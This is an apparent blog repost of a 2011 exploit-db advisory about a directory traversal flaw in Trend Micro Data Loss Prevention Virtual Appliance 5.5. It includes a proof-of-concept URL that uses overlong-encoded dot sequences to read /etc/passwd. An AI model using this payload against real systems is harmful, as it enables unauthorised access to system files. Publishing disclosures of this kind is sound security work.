virus | AppUnix

Trend Micro Data Loss Prevention Virtual Appliance 5.5 Directory Traversal

13/06/2011 by OwnServer

Para quem acha que trend micro é semi-divino, cry more trend micro fan boys!


Software: Trend Micro Data Loss Prevention Virtual Appliance 5.5

Vulnerability: Directory Traversal

Threat Level: Serious (5/5)

Download: http://support.trendmicro.com.cn/TM- Product/Product/DLP/5.5/Manager/5.5_GM/DLPVA- 5.5.1294-i386-DVD.iso

Discovery Date: 27/05/2011

Remote: Yes
Author Site Email: Luis Martinez, Sergio Lopez,White Hat Consultores

http://whitehatconsultores.com/ Sergio López  Luis Martínez 
Description:

A directory traversal vulnerability, can be exploited to read files outside of the web root.
PoC Exploit:

https://IP:8443/dsc//%c0%ae%c0%ae/%c0%ae%c0%ae/%c 0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%a e%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c 0%ae/%c0%ae%c0%ae/etc/passwd

PDF Advisory: http://www.exploit-db.com/sploits/17388.pdf

fonte: http://www.exploit-db.com/exploits/17388/